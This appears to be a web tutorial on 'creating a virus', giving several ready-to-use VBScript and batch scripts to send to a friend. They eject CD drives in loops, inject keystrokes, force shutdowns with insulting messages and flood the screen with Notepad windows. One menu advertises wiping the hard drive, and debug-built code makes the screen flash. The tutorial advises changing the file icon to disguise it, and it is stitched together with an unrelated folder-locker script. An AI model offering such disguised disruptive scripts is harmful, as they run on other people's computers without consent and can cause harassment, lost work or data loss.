How to Creat a virus

 




All this command can  be used ising any text editor,e.g. NOTAPAD











1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
 
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

10) THREATEN BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe

Steps:

2- inside this folder make a ( TXT ) file & copy inside it this (the entire thing)

: cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End


3- After u copy the Commanding go to line 23 (or try using shortcut- CTRL+F and type password to locate the line) u will find this word : password here (Change it with any password u like.) is :
eg: if NOT %pass%== narnia1234 goto FAIL
//so ur password here becomes narnia1234 .//

Delete narnia1234 and type any PASSWORD you like.

4- After that go to file menu save as "locker.bat "

5- Now back to the folder & u will find a ( LOCKER ) commanding.
(locker.exe)

6- Double Click on it & u will find a new folder (Private )

7- Ok ,, now copy what u want in this "private Folder" & after that come out of the folder, and Double click on locker again. It will open and ask if you want to lock your folder? Y/N ?

8- Type Y. your private folder will disappear.

9- If you want to UNLOCK your folder ,go to (locker) & type your pass and you will see your private folder.

it not only hides the fodler, but incase, u unhide all files... and try opening it without entering password, it'l take u to the control panel...
Also, if u want to store files on your Pen-Drive, u can use this script. No Software Required
Incase u delete your Locker file (just in case), then u can make a new one (but with the same password) and open it from that.
